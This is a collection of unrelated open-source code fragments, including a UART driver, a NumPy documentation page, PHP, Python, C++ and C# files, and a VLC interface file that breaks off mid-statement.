.name = "dw-apb-uart",
.owner = THIS_MODULE,
.pm = &dw8250_pm_ops,
.of_match_table = dw8250_of_match,
.acpi_match_table = ACPI_PTR(dw8250_acpi_match),
},
.probe = dw8250_probe,
.remove = dw8250_remove,
};
<API key>(<API key>);
MODULE_AUTHOR("Jamie Iles");
MODULE_LICENSE("GPL");
MODULE_DESCRIPTION("Synopsys DesignWare 8250 serial port driver");
|
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>numpy.polynomial.laguerre.lagint — NumPy v1.10 Manual</title>
<link rel="stylesheet" type="text/css" href="../../static_/css/spc-bootstrap.css">
<link rel="stylesheet" type="text/css" href="../../static_/css/spc-extend.css">
<link rel="stylesheet" href="../../static_/scipy.css" type="text/css" >
<link rel="stylesheet" href="../../static_/pygments.css" type="text/css" >
<script type="text/javascript">
var <API key> = {
URL_ROOT: '../../',
VERSION: '1.10.1',
COLLAPSE_INDEX: false,
FILE_SUFFIX: '.html',
HAS_SOURCE: false
};
</script>
<script type="text/javascript" src="../../static_/jquery.js"></script>
<script type="text/javascript" src="../../static_/underscore.js"></script>
<script type="text/javascript" src="../../static_/doctools.js"></script>
<script type="text/javascript" src="../../static_/js/copybutton.js"></script>
<link rel="author" title="About these documents" href="../../about.html" >
<link rel="top" title="NumPy v1.10 Manual" href="../../index.html" >
<link rel="up" title="Laguerre Module (numpy.polynomial.laguerre)" href="../routines.polynomials.laguerre.html" >
<link rel="next" title="numpy.polynomial.laguerre.lagadd" href="numpy.polynomial.laguerre.lagadd.html" >
<link rel="prev" title="numpy.polynomial.laguerre.lagder" href="numpy.polynomial.laguerre.lagder.html" >
</head>
<body>
<div class="container">
<div class="header">
</div>
</div>
<div class="container">
<div class="main">
<div class="row-fluid">
<div class="span12">
<div class="spc-navbar">
<ul class="nav nav-pills pull-left">
<li class="active"><a href="../../index.html">NumPy v1.10 Manual</a></li>
<li class="active"><a href="../index.html" >NumPy Reference</a></li>
<li class="active"><a href="../routines.html" >Routines</a></li>
<li class="active"><a href="../routines.polynomials.html" >Polynomials</a></li>
<li class="active"><a href="../routines.polynomials.package.html" >Polynomial Package</a></li>
<li class="active"><a href="../routines.polynomials.laguerre.html" accesskey="U">Laguerre Module (<tt class="docutils literal"><span class="pre">numpy.polynomial.laguerre</span></tt>)</a></li>
</ul>
<ul class="nav nav-pills pull-right">
<li class="active">
<a href="../../genindex.html" title="General Index"
accesskey="I">index</a>
</li>
<li class="active">
<a href="numpy.polynomial.laguerre.lagadd.html" title="numpy.polynomial.laguerre.lagadd"
accesskey="N">next</a>
</li>
<li class="active">
<a href="numpy.polynomial.laguerre.lagder.html" title="numpy.polynomial.laguerre.lagder"
accesskey="P">previous</a>
</li>
</ul>
</div>
</div>
</div>
<div class="row-fluid">
<div class="spc-rightsidebar span3">
<div class="<API key>">
<h4>Previous topic</h4>
<p class="topless"><a href="numpy.polynomial.laguerre.lagder.html"
title="previous chapter">numpy.polynomial.laguerre.lagder</a></p>
<h4>Next topic</h4>
<p class="topless"><a href="numpy.polynomial.laguerre.lagadd.html"
title="next chapter">numpy.polynomial.laguerre.lagadd</a></p>
</div>
</div>
<div class="span9">
<div class="bodywrapper">
<div class="body" id="spc-section-body">
<div class="section" id="<API key>">
<h1>numpy.polynomial.laguerre.lagint<a class="headerlink" href="
<dl class="function">
<dt id="numpy.polynomial.laguerre.lagint">
<tt class="descclassname">numpy.polynomial.laguerre.</tt><tt class="descname">lagint</tt><big>(</big><em>c</em>, <em>m=1</em>, <em>k=</em>, <span class="optional">[</span><span class="optional">]</span><em>lbnd=0</em>, <em>scl=1</em>, <em>axis=0</em><big>)</big><a class="reference external" href="http://github.com/numpy/numpy/blob/v1.10.1/numpy/polynomial/laguerre.py
<dd><p>Integrate a Laguerre series.</p>
<p>Returns the Laguerre series coefficients <em class="xref py py-obj">c</em> integrated <em class="xref py py-obj">m</em> times from
<em class="xref py py-obj">lbnd</em> along <em class="xref py py-obj">axis</em>. At each iteration the resulting series is
<strong>multiplied</strong> by <em class="xref py py-obj">scl</em> and an integration constant, <em class="xref py py-obj">k</em>, is added.
The scaling factor is for use in a linear change of variable. (“Buyer
beware”: note that, depending on what one is doing, one may want <em class="xref py py-obj">scl</em>
to be the reciprocal of what one might expect; for more information,
see the Notes section below.) The argument <em class="xref py py-obj">c</em> is an array of
coefficients from low to high degree along each axis, e.g., [1,2,3]
represents the series <tt class="docutils literal"><span class="pre">L_0</span> <span class="pre">+</span> <span class="pre">2*L_1</span> <span class="pre">+</span> <span class="pre">3*L_2</span></tt> while [[1,2],[1,2]]
represents <tt class="docutils literal"><span class="pre">1*L_0(x)*L_0(y)</span> <span class="pre">+</span> <span class="pre">1*L_1(x)*L_0(y)</span> <span class="pre">+</span> <span class="pre">2*L_0(x)*L_1(y)</span> <span class="pre">+</span>
<span class="pre">2*L_1(x)*L_1(y)</span></tt> if axis=0 is <tt class="docutils literal"><span class="pre">x</span></tt> and axis=1 is <tt class="docutils literal"><span class="pre">y</span></tt>.</p>
<table class="docutils field-list" frame="void" rules="none">
<col class="field-name" />
<col class="field-body" />
<tbody valign="top">
<tr class="field-odd field"><th class="field-name">Parameters:</th><td class="field-body"><p class="first"><strong>c</strong> : array_like</p>
<blockquote>
<div><p>Array of Laguerre series coefficients. If <em class="xref py py-obj">c</em> is multidimensional
the different axis correspond to different variables with the
degree in each axis given by the corresponding index.</p>
</div></blockquote>
<p><strong>m</strong> : int, optional</p>
<blockquote>
<div><p>Order of integration, must be positive. (Default: 1)</p>
</div></blockquote>
<p><strong>k</strong> : {[], list, scalar}, optional</p>
<blockquote>
<div><p>Integration constant(s). The value of the first integral at
<tt class="docutils literal"><span class="pre">lbnd</span></tt> is the first value in the list, the value of the second
integral at <tt class="docutils literal"><span class="pre">lbnd</span></tt> is the second value, etc. If <tt class="docutils literal"><span class="pre">k</span> <span class="pre">==</span> <span class="pre">[]</span></tt> (the
default), all constants are set to zero. If <tt class="docutils literal"><span class="pre">m</span> <span class="pre">==</span> <span class="pre">1</span></tt>, a single
scalar can be given instead of a list.</p>
</div></blockquote>
<p><strong>lbnd</strong> : scalar, optional</p>
<blockquote>
<div><p>The lower bound of the integral. (Default: 0)</p>
</div></blockquote>
<p><strong>scl</strong> : scalar, optional</p>
<blockquote>
<div><p>Following each integration the result is <em>multiplied</em> by <em class="xref py py-obj">scl</em>
before the integration constant is added. (Default: 1)</p>
</div></blockquote>
<p><strong>axis</strong> : int, optional</p>
<blockquote>
<div><p>Axis over which the integral is taken. (Default: 0).</p>
<div class="versionadded">
<p><span class="versionmodified">New in version 1.7.0.</span></p>
</div>
</div></blockquote>
</td>
</tr>
<tr class="field-even field"><th class="field-name">Returns:</th><td class="field-body"><p class="first"><strong>S</strong> : ndarray</p>
<blockquote>
<div><p>Laguerre series coefficients of the integral.</p>
</div></blockquote>
</td>
</tr>
<tr class="field-odd field"><th class="field-name">Raises:</th><td class="field-body"><p class="first"><strong>ValueError</strong></p>
<blockquote class="last">
<div><p>If <tt class="docutils literal"><span class="pre">m</span> <span class="pre"><</span> <span class="pre">0</span></tt>, <tt class="docutils literal"><span class="pre">len(k)</span> <span class="pre">></span> <span class="pre">m</span></tt>, <tt class="docutils literal"><span class="pre">np.isscalar(lbnd)</span> <span class="pre">==</span> <span class="pre">False</span></tt>, or
<tt class="docutils literal"><span class="pre">np.isscalar(scl)</span> <span class="pre">==</span> <span class="pre">False</span></tt>.</p>
</div></blockquote>
</td>
</tr>
</tbody>
</table>
<div class="admonition seealso">
<p class="first admonition-title">See also</p>
<p class="last"><a class="reference internal" href="numpy.polynomial.laguerre.lagder.html#numpy.polynomial.laguerre.lagder" title="numpy.polynomial.laguerre.lagder"><tt class="xref py py-obj docutils literal"><span class="pre">lagder</span></tt></a></p>
</div>
<p class="rubric">Notes</p>
<p>Note that the result of each integration is <em>multiplied</em> by <em class="xref py py-obj">scl</em>.
Why is this important to note? Say one is making a linear change of
variable <img class="math" src="../../images_/math/<SHA1-like>.png" alt="u = ax + b" style="vertical-align: -1px"/> in an integral relative to <em class="xref py py-obj">x</em>. Then
.. math::<em class="xref py py-obj">dx = du/a</em>, so one will need to set <em class="xref py py-obj">scl</em> equal to
<img class="math" src="../../images_/math/<SHA1-like>.png" alt="1/a" style="vertical-align: -4px"/> - perhaps not what one would have first thought.</p>
<p>Also note that, in general, the result of integrating a C-series needs
to be “reprojected” onto the C-series basis set. Thus, typically,
the result of this function is “unintuitive,” albeit correct; see
Examples section below.</p>
<p class="rubric">Examples</p>
<div class="highlight-python"><div class="highlight"><pre><span class="gp">>>> </span><span class="kn">from</span> <span class="nn">numpy.polynomial.laguerre</span> <span class="kn">import</span> <span class="n">lagint</span>
<span class="gp">>>> </span><span class="n">lagint</span><span class="p">([</span><span class="mi">1</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="mi">3</span><span class="p">])</span>
<span class="go">array([ 1., 1., 1., -3.])</span>
<span class="gp">>>> </span><span class="n">lagint</span><span class="p">([</span><span class="mi">1</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="mi">3</span><span class="p">],</span> <span class="n">m</span><span class="o">=</span><span class="mi">2</span><span class="p">)</span>
<span class="go">array([ 1., 0., 0., -4., 3.])</span>
<span class="gp">>>> </span><span class="n">lagint</span><span class="p">([</span><span class="mi">1</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="mi">3</span><span class="p">],</span> <span class="n">k</span><span class="o">=</span><span class="mi">1</span><span class="p">)</span>
<span class="go">array([ 2., 1., 1., -3.])</span>
<span class="gp">>>> </span><span class="n">lagint</span><span class="p">([</span><span class="mi">1</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="mi">3</span><span class="p">],</span> <span class="n">lbnd</span><span class="o">=-</span><span class="mi">1</span><span class="p">)</span>
<span class="go">array([ 11.5, 1. , 1. , -3. ])</span>
<span class="gp">>>> </span><span class="n">lagint</span><span class="p">([</span><span class="mi">1</span><span class="p">,</span><span class="mi">2</span><span class="p">],</span> <span class="n">m</span><span class="o">=</span><span class="mi">2</span><span class="p">,</span> <span class="n">k</span><span class="o">=</span><span class="p">[</span><span class="mi">1</span><span class="p">,</span><span class="mi">2</span><span class="p">],</span> <span class="n">lbnd</span><span class="o">=-</span><span class="mi">1</span><span class="p">)</span>
<span class="go">array([ 11.16666667, -5. , -3. , 2. ])</span>
</pre></div>
</div>
</dd></dl>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="container <API key>">
<div class="spc-navbar">
</div>
</div>
<div class="container">
<div class="footer">
<div class="row-fluid">
<ul class="inline pull-left">
<li>
© Copyright 2008-2009, The Scipy community.
</li>
<li>
Last updated on Oct 18, 2015.
</li>
<li>
Created using <a href="http://sphinx.pocoo.org/">Sphinx</a> 1.2.1.
</li>
</ul>
</div>
</div>
</div>
</body>
</html>
|
<!DOCTYPE html>
<html>
<head>
<script src="../../ajax.googleapis.com/ajax/libs/jquery/1.11.2/jquery.min.js"></script>
<script>
$(document).ready(function(){
$("p").click(function(){
$(this).slideToggle();
});
$("button").click(function(){
$("p").unbind();
});
});
</script>
</head>
<body>
<p>This is a paragraph.</p>
<p>This is another paragraph.</p>
<p>Click any p element to make it disappear.</p>
<button>Remove all event handlers for all p elements</button>
</body>
</html>
|
<?php
namespace Eventum\Controller;
use Auth;
use AuthCookie;
use Eventum\Controller\Helper\MessagesHelper;
use Setup;
use User;
class SignupController extends BaseController
{
/** @var string */
protected $tpl_name = 'signup.tpl.html';
/** @var string */
private $cat;
/**
* {@inheritdoc}
*/
protected function configure()
{
$request = $this->getRequest();
$this->cat = $request->request->get('cat');
}
/**
* {@inheritdoc}
*/
protected function canAccess()
{
// log anonymous users out so they can use the signup form
if (AuthCookie::hasAuthCookie() && Auth::isAnonUser()) {
Auth::logout();
}
return true;
}
/**
* {@inheritdoc}
*/
protected function defaultAction()
{
if ($this->cat == 'signup') {
$this-><API key>();
}
}
private function <API key>()
{
$setup = Setup::get();
if ($setup['open_signup'] != 'enabled') {
$error = ev_gettext('Sorry, but this feature has been disabled by the administrator.');
$this->error($error);
}
$res = User::<API key>($setup['accounts_role'], $setup['accounts_projects']);
$this->tpl->assign('signup_result', $res);
// TODO: translate
$map = [
1 => ['Thank you, your account creation request was processed successfully. For security reasons a confirmation email was sent to the provided email address with instructions on how to confirm your request and activate your account.', MessagesHelper::MSG_INFO],
-1 => ['Error: An error occurred while trying to run your query.', MessagesHelper::MSG_ERROR],
-2 => ['Error: The email address specified is already associated with an user in the system.', MessagesHelper::MSG_ERROR],
];
$this->messages->mapMessages($res, $map);
}
/**
* {@inheritdoc}
*/
protected function prepareTemplate()
{
}
}
|
# simpleSound.py
# Plays audio files on Linux and Windows.
# Written Jan-2008 by Timothy Weber.
import platform
if platform.system().startswith('Win'):
from winsound import PlaySound, SND_FILENAME, SND_ASYNC
elif platform.system().startswith('Linux'):
from wave import open as waveOpen
from ossaudiodev import open as ossOpen
try:
from ossaudiodev import AFMT_S16_NE
except ImportError:
if byteorder == "little":
AFMT_S16_NE = ossaudiodev.AFMT_S16_LE
else:
AFMT_S16_NE = ossaudiodev.AFMT_S16_BE
def Play(filename):
"""Plays the sound in the given filename, asynchronously."""
if platform.system().startswith('Win'):
PlaySound(filename, SND_FILENAME|SND_ASYNC)
elif platform.system().startswith('Linux'):
try:
s = waveOpen(filename,'rb')
(nc,sw,fr,nf,comptype, compname) = s.getparams( )
dsp = ossOpen('/dev/dsp','w')
dsp.setparameters(AFMT_S16_NE, nc, fr)
data = s.readframes(nf)
s.close()
dsp.write(data)
dsp.close()
except:
pass
|
# -*- coding: utf-8 -*-
# This program is free software; you can redistribute it and/or modify
# (at your option) any later version.
import os
import sys
if os.name == "nt" or sys.platform == "darwin":
from quodlibet.plugins import <API key>
raise <API key>
import dbus
from quodlibet import _
from quodlibet import app
from quodlibet.qltk import Icons
from quodlibet.plugins.events import EventPlugin
def get_toplevel_xid():
if app.window.get_window():
try:
return app.window.get_window().get_xid()
except AttributeError: # non x11
pass
return 0
class InhibitFlags(object):
LOGOUT = 1
USERSWITCH = 1 << 1
SUSPEND = 1 << 2
IDLE = 1 << 3
class SessionInhibit(EventPlugin):
PLUGIN_ID = "screensaver_inhibit"
PLUGIN_NAME = _("Inhibit Screensaver")
PLUGIN_DESC = _("Prevents the GNOME screensaver from activating while"
" a song is playing.")
PLUGIN_ICON = Icons.<API key>
DBUS_NAME = "org.gnome.SessionManager"
DBUS_INTERFACE = "org.gnome.SessionManager"
DBUS_PATH = "/org/gnome/SessionManager"
APPLICATION_ID = "quodlibet"
INHIBIT_REASON = _("Music is playing")
__cookie = None
def enabled(self):
if not app.player.paused:
self.plugin_on_unpaused()
def disabled(self):
if not app.player.paused:
self.plugin_on_paused()
def plugin_on_unpaused(self):
xid = dbus.UInt32(get_toplevel_xid())
flags = dbus.UInt32(InhibitFlags.IDLE)
try:
bus = dbus.SessionBus()
obj = bus.get_object(self.DBUS_NAME, self.DBUS_PATH)
iface = dbus.Interface(obj, self.DBUS_INTERFACE)
self.__cookie = iface.Inhibit(
self.APPLICATION_ID, xid, self.INHIBIT_REASON, flags)
except dbus.DBusException:
pass
def plugin_on_paused(self):
if self.__cookie is None:
return
try:
bus = dbus.SessionBus()
obj = bus.get_object(self.DBUS_NAME, self.DBUS_PATH)
iface = dbus.Interface(obj, self.DBUS_INTERFACE)
iface.Uninhibit(self.__cookie)
self.__cookie = None
except dbus.DBusException:
pass
|
#include "../ProtocolCommand.h"
//#include <sqlite3.h>
using namespace org::esb::net;
using namespace org::esb::hive;
using namespace std;
class CreateHive:public ProtocolCommand {
private:
Socket * socket;
public:
~CreateHive () {
} CreateHive (TcpSocket * socket) {
this->socket = socket;
this->is = socket->getInputStream ();
this->os = socket->getOutputStream ();
}
CreateHive (InputStream * is, OutputStream * os) {
this->is = is;
this->os = os;
}
int isResponsible (cmdId & cmid) {
}
int isResponsible (char *command) {
if (strstr (command, "create hive") > 0) {
return CMD_PROCESS;
}
else if (strcmp (command, "help") == 0) {
return CMD_HELP;
}
return CMD_NA;
}
void process (char *data) {
string msg = "Creating Hive at ";
string path = data + 12;
msg += path;
os->write ((char *) msg.c_str (), msg.length ());
string tableFile = "CREATE TABLE FILE (id, name, size, type)";
string tablePacket =
"CREATE TABLE PACKET (id,pts,dts,stream_index,flags,duration,pos,data_size,data)";
string tableJob = "CREATE TABLE JOB(id,infile,outfile)";
sqlite3 *db;
sqlite3_stmt *pStmt;
char *zErrMsg = 0;
int rc = sqlite3_open (path.c_str (), &db);
if (rc) {
fprintf (stderr, "Can't open database: %s\n",
sqlite3_errmsg (db));
sqlite3_close (db);
return;
}
sqlite3_exec (db, tableFile.c_str (), NULL, NULL, NULL);
sqlite3_exec (db, tablePacket.c_str (), NULL, NULL, NULL);
sqlite3_exec (db, tableJob.c_str (), NULL, NULL, NULL);
}
void printHelp () {
}
};
|
<?php
namespace SimpleCalendar\plugin_deps;
/*
* Unknown default region, use the first alphabetically.
*/
return require __DIR__ . '/sgs_LT.php';
|
using System;
using System.Collections.Generic;
using System.Collections.ObjectModel;
using System.Diagnostics.CodeAnalysis;
using System.Globalization;
using System.Linq;
using System.Net.Http.Headers;
using System.Web.Http;
using System.Web.Http.Description;
using Sudoku.Areas.HelpPage.Models;
namespace Sudoku.Areas.HelpPage
{
public static class <API key>
{
private const string ApiModelPrefix = "<API key>";
<summary>
Sets the documentation provider for help page.
</summary>
<param name="config">The <see cref="HttpConfiguration"/>.</param>
<param name="<API key>">The documentation provider.</param>
public static void <API key>(this HttpConfiguration config, <API key> <API key>)
{
config.Services.Replace(typeof(<API key>), <API key>);
}
<summary>
Sets the objects that will be used by the formatters to produce sample requests/responses.
</summary>
<param name="config">The <see cref="HttpConfiguration"/>.</param>
<param name="sampleObjects">The sample objects.</param>
public static void SetSampleObjects(this HttpConfiguration config, IDictionary<Type, object> sampleObjects)
{
config.<API key>().SampleObjects = sampleObjects;
}
<summary>
Sets the sample request directly for the specified media type and action.
</summary>
<param name="config">The <see cref="HttpConfiguration"/>.</param>
<param name="sample">The sample request.</param>
<param name="mediaType">The media type.</param>
<param name="controllerName">Name of the controller.</param>
<param name="actionName">Name of the action.</param>
public static void SetSampleRequest(this HttpConfiguration config, object sample, <API key> mediaType, string controllerName, string actionName)
{
config.<API key>().ActionSamples.Add(new HelpPageSampleKey(mediaType, SampleDirection.Request, controllerName, actionName, new[] { "*" }), sample);
}
<summary>
Sets the sample request directly for the specified media type and action with parameters.
</summary>
<param name="config">The <see cref="HttpConfiguration"/>.</param>
<param name="sample">The sample request.</param>
<param name="mediaType">The media type.</param>
<param name="controllerName">Name of the controller.</param>
<param name="actionName">Name of the action.</param>
<param name="parameterNames">The parameter names.</param>
public static void SetSampleRequest(this HttpConfiguration config, object sample, <API key> mediaType, string controllerName, string actionName, params string[] parameterNames)
{
config.<API key>().ActionSamples.Add(new HelpPageSampleKey(mediaType, SampleDirection.Request, controllerName, actionName, parameterNames), sample);
}
<summary>
Sets the sample request directly for the specified media type of the action.
</summary>
<param name="config">The <see cref="HttpConfiguration"/>.</param>
<param name="sample">The sample response.</param>
<param name="mediaType">The media type.</param>
<param name="controllerName">Name of the controller.</param>
<param name="actionName">Name of the action.</param>
public static void SetSampleResponse(this HttpConfiguration config, object sample, <API key> mediaType, string controllerName, string actionName)
{
config.<API key>().ActionSamples.Add(new HelpPageSampleKey(mediaType, SampleDirection.Response, controllerName, actionName, new[] { "*" }), sample);
}
<summary>
Sets the sample response directly for the specified media type of the action with specific parameters.
</summary>
<param name="config">The <see cref="HttpConfiguration"/>.</param>
<param name="sample">The sample response.</param>
<param name="mediaType">The media type.</param>
<param name="controllerName">Name of the controller.</param>
<param name="actionName">Name of the action.</param>
<param name="parameterNames">The parameter names.</param>
public static void SetSampleResponse(this HttpConfiguration config, object sample, <API key> mediaType, string controllerName, string actionName, params string[] parameterNames)
{
config.<API key>().ActionSamples.Add(new HelpPageSampleKey(mediaType, SampleDirection.Response, controllerName, actionName, parameterNames), sample);
}
<summary>
Sets the sample directly for all actions with the specified type and media type.
</summary>
<param name="config">The <see cref="HttpConfiguration"/>.</param>
<param name="sample">The sample.</param>
<param name="mediaType">The media type.</param>
<param name="type">The parameter type or return type of an action.</param>
public static void SetSampleForType(this HttpConfiguration config, object sample, <API key> mediaType, Type type)
{
config.<API key>().ActionSamples.Add(new HelpPageSampleKey(mediaType, type), sample);
}
<summary>
Specifies the actual type of <see cref="System.Net.Http.ObjectContent{T}"/> passed to the <see cref="System.Net.Http.HttpRequestMessage"/> in an action.
The help page will use this information to produce more accurate request samples.
</summary>
<param name="config">The <see cref="HttpConfiguration"/>.</param>
<param name="type">The type.</param>
<param name="controllerName">Name of the controller.</param>
<param name="actionName">Name of the action.</param>
public static void <API key>(this HttpConfiguration config, Type type, string controllerName, string actionName)
{
config.<API key>().<API key>.Add(new HelpPageSampleKey(SampleDirection.Request, controllerName, actionName, new[] { "*" }), type);
}
<summary>
Specifies the actual type of <see cref="System.Net.Http.ObjectContent{T}"/> passed to the <see cref="System.Net.Http.HttpRequestMessage"/> in an action.
The help page will use this information to produce more accurate request samples.
</summary>
<param name="config">The <see cref="HttpConfiguration"/>.</param>
<param name="type">The type.</param>
<param name="controllerName">Name of the controller.</param>
<param name="actionName">Name of the action.</param>
<param name="parameterNames">The parameter names.</param>
public static void <API key>(this HttpConfiguration config, Type type, string controllerName, string actionName, params string[] parameterNames)
{
config.<API key>().<API key>.Add(new HelpPageSampleKey(SampleDirection.Request, controllerName, actionName, parameterNames), type);
}
<summary>
Specifies the actual type of <see cref="System.Net.Http.ObjectContent{T}"/> returned as part of the <see cref="System.Net.Http.HttpRequestMessage"/> in an action.
The help page will use this information to produce more accurate response samples.
</summary>
<param name="config">The <see cref="HttpConfiguration"/>.</param>
<param name="type">The type.</param>
<param name="controllerName">Name of the controller.</param>
<param name="actionName">Name of the action.</param>
public static void <API key>(this HttpConfiguration config, Type type, string controllerName, string actionName)
{
config.<API key>().<API key>.Add(new HelpPageSampleKey(SampleDirection.Response, controllerName, actionName, new[] { "*" }), type);
}
<summary>
Specifies the actual type of <see cref="System.Net.Http.ObjectContent{T}"/> returned as part of the <see cref="System.Net.Http.HttpRequestMessage"/> in an action.
The help page will use this information to produce more accurate response samples.
</summary>
<param name="config">The <see cref="HttpConfiguration"/>.</param>
<param name="type">The type.</param>
<param name="controllerName">Name of the controller.</param>
<param name="actionName">Name of the action.</param>
<param name="parameterNames">The parameter names.</param>
public static void <API key>(this HttpConfiguration config, Type type, string controllerName, string actionName, params string[] parameterNames)
{
config.<API key>().<API key>.Add(new HelpPageSampleKey(SampleDirection.Response, controllerName, actionName, parameterNames), type);
}
<summary>
Gets the help page sample generator.
</summary>
<param name="config">The <see cref="HttpConfiguration"/>.</param>
<returns>The help page sample generator.</returns>
public static <API key> <API key>(this HttpConfiguration config)
{
return (<API key>)config.Properties.GetOrAdd(
typeof(<API key>),
k => new <API key>());
}
<summary>
Sets the help page sample generator.
</summary>
<param name="config">The <see cref="HttpConfiguration"/>.</param>
<param name="sampleGenerator">The help page sample generator.</param>
public static void <API key>(this HttpConfiguration config, <API key> sampleGenerator)
{
config.Properties.AddOrUpdate(
typeof(<API key>),
k => sampleGenerator,
(k, o) => sampleGenerator);
}
<summary>
Gets the model that represents an API displayed on the help page. The model is initialized on the first call and cached for subsequent calls.
</summary>
<param name="config">The <see cref="HttpConfiguration"/>.</param>
<param name="apiDescriptionId">The <see cref="ApiDescription"/> ID.</param>
<returns>
An <see cref="HelpPageApiModel"/>
</returns>
public static HelpPageApiModel GetHelpPageApiModel(this HttpConfiguration config, string apiDescriptionId)
{
object model;
string modelId = ApiModelPrefix + apiDescriptionId;
if (!config.Properties.TryGetValue(modelId, out model))
{
Collection<ApiDescription> apiDescriptions = config.Services.GetApiExplorer().ApiDescriptions;
ApiDescription apiDescription = apiDescriptions.FirstOrDefault(api => String.Equals(api.GetFriendlyId(), apiDescriptionId, StringComparison.OrdinalIgnoreCase));
if (apiDescription != null)
{
<API key> sampleGenerator = config.<API key>();
model = GenerateApiModel(apiDescription, sampleGenerator);
config.Properties.TryAdd(modelId, model);
}
}
return (HelpPageApiModel)model;
}
[SuppressMessage("Microsoft.Design", "CA1031:<API key>", Justification = "The exception is recorded as ErrorMessages.")]
private static HelpPageApiModel GenerateApiModel(ApiDescription apiDescription, <API key> sampleGenerator)
{
HelpPageApiModel apiModel = new HelpPageApiModel();
apiModel.ApiDescription = apiDescription;
try
{
foreach (var item in sampleGenerator.GetSampleRequests(apiDescription))
{
apiModel.SampleRequests.Add(item.Key, item.Value);
<API key>(apiModel, item.Value);
}
foreach (var item in sampleGenerator.GetSampleResponses(apiDescription))
{
apiModel.SampleResponses.Add(item.Key, item.Value);
<API key>(apiModel, item.Value);
}
}
catch (Exception e)
{
apiModel.ErrorMessages.Add(String.Format(CultureInfo.CurrentCulture, "An exception has occurred while generating the sample. Exception Message: {0}", e.Message));
}
return apiModel;
}
private static void <API key>(HelpPageApiModel apiModel, object sample)
{
InvalidSample invalidSample = sample as InvalidSample;
if (invalidSample != null)
{
apiModel.ErrorMessages.Add(invalidSample.ErrorMessage);
}
}
}
}
|
#include "input_manager.hpp"
#include "interface.hpp"
#include "video.hpp"
#include <vlc_meta.h>
/* include the toolbar graphics */
#include "bitmaps/prev.xpm"
#include "bitmaps/next.xpm"
#include "bitmaps/playlist.xpm"
/* IDs for the controls */
enum
{
SliderScroll_Event = wxID_HIGHEST,
DiscMenu_Event,
DiscPrev_Event,
DiscNext_Event
};
BEGIN_EVENT_TABLE(InputManager, wxPanel)
/* Slider events */
EVT_COMMAND_SCROLL(SliderScroll_Event, InputManager::OnSliderUpdate)
/* Disc Buttons events */
EVT_BUTTON(DiscMenu_Event, InputManager::OnDiscMenu)
EVT_BUTTON(DiscPrev_Event, InputManager::OnDiscPrev)
EVT_BUTTON(DiscNext_Event, InputManager::OnDiscNext)
END_EVENT_TABLE()
#define STATUS_STOP 0
#define STATUS_PLAYING 1
#define STATUS_PAUSE 2
InputManager::InputManager( intf_thread_t *_p_intf, Interface *_p_main_intf,
wxWindow *p_parent )
: wxPanel( p_parent )
{
p_intf = _p_intf;
p_main_intf = _p_main_intf;
p_input = NULL;
<API key> = STATUS_STOP;
i_old_rate = INPUT_RATE_DEFAULT;
b_slider_free = VLC_TRUE;
i_input_hide_delay = 0;
/* Create slider */
slider = new wxSlider( this, SliderScroll_Event, 0, 0, SLIDER_MAX_POS );
/* Create disc buttons */
disc_frame = new wxPanel( this );
disc_menu_button = new wxBitmapButton( disc_frame, DiscMenu_Event,
wxBitmap( playlist_xpm ) );
disc_prev_button = new wxBitmapButton( disc_frame, DiscPrev_Event,
wxBitmap( prev_xpm ) );
disc_next_button = new wxBitmapButton( disc_frame, DiscNext_Event,
wxBitmap( next_xpm ) );
disc_sizer = new wxBoxSizer( wxHORIZONTAL );
disc_sizer->Add( disc_menu_button, 1, wxEXPAND | wxLEFT | wxRIGHT, 1 );
disc_sizer->Add( disc_prev_button, 1, wxEXPAND | wxLEFT | wxRIGHT, 1 );
disc_sizer->Add( disc_next_button, 1, wxEXPAND | wxLEFT | wxRIGHT, 1 );
disc_frame->SetSizer( disc_sizer );
disc_sizer->Layout();
/* Add everything to the panel */
sizer = new wxBoxSizer( wxHORIZONTAL );
SetSizer( sizer );
sizer->Add( slider, 1, wxEXPAND | wxALL, 5 );
sizer->Add( disc_frame, 0, wxALL, 2 );
/* Hide by default */
sizer->Hide( disc_frame );
sizer->Hide( slider );
sizer->Layout();
Fit();
}
InputManager::~InputManager()
{
vlc_mutex_lock( &p_intf->change_lock );
if( p_intf->p_sys->p_input ) vlc_object_release( p_intf->p_sys->p_input );
p_intf->p_sys->p_input = NULL;
vlc_mutex_unlock( &p_intf->change_lock );
}
vlc_bool_t InputManager::IsPlaying()
{
return (p_input && !p_input->b_die);
}
void InputManager::UpdateInput()
{
playlist_t *p_playlist =
(playlist_t *)vlc_object_find( p_intf, VLC_OBJECT_PLAYLIST,
FIND_ANYWHERE );
if( p_playlist != NULL )
{
LockPlaylist( p_intf->p_sys, p_playlist );
p_input = p_intf->p_sys->p_input = p_playlist->p_input;
if( p_intf->p_sys->p_input )
vlc_object_yield( p_intf->p_sys->p_input );
UnlockPlaylist( p_intf->p_sys, p_playlist );
vlc_object_release( p_playlist );
}
}
void InputManager::UpdateNowPlaying()
{
char *psz_now_playing = <API key>( p_input->input.p_item,
_(VLC_META_INFO_CAT), _(<API key>) );
if( psz_now_playing && *psz_now_playing )
{
p_main_intf->statusbar->SetStatusText(
wxString(wxU(psz_now_playing)) + wxT( " - " ) +
wxU(p_input->input.p_item->psz_name), 2 );
}
else
{
p_main_intf->statusbar->SetStatusText(
wxU(p_input->input.p_item->psz_name), 2 );
}
free( psz_now_playing );
}
void InputManager::UpdateButtons( vlc_bool_t b_play )
{
if( !b_play )
{
if( <API key> == STATUS_STOP ) return;
<API key> = STATUS_STOP;
p_main_intf->TogglePlayButton( PAUSE_S );
p_main_intf->statusbar->SetStatusText( wxT(""), 0 );
p_main_intf->statusbar->SetStatusText( wxT(""), 2 );
/* wxCocoa pretends to support this, but at least 2.6.x doesn't */
#ifndef __APPLE__
#ifdef wxHAS_TASK_BAR_ICON
if( p_main_intf->p_systray )
{
p_main_intf->p_systray->UpdateTooltip(
wxString(wxT("VLC media player - ")) + wxU(_("Stopped")) );
}
#endif
#endif
return;
}
/* Manage Playing status */
vlc_value_t val;
var_Get( p_input, "state", &val );
val.i_int = val.i_int == PAUSE_S ? STATUS_PAUSE : STATUS_PLAYING;
if( <API key> != val.i_int )
{
<API key> = val.i_int;
p_main_intf->TogglePlayButton( val.i_int == STATUS_PAUSE ?
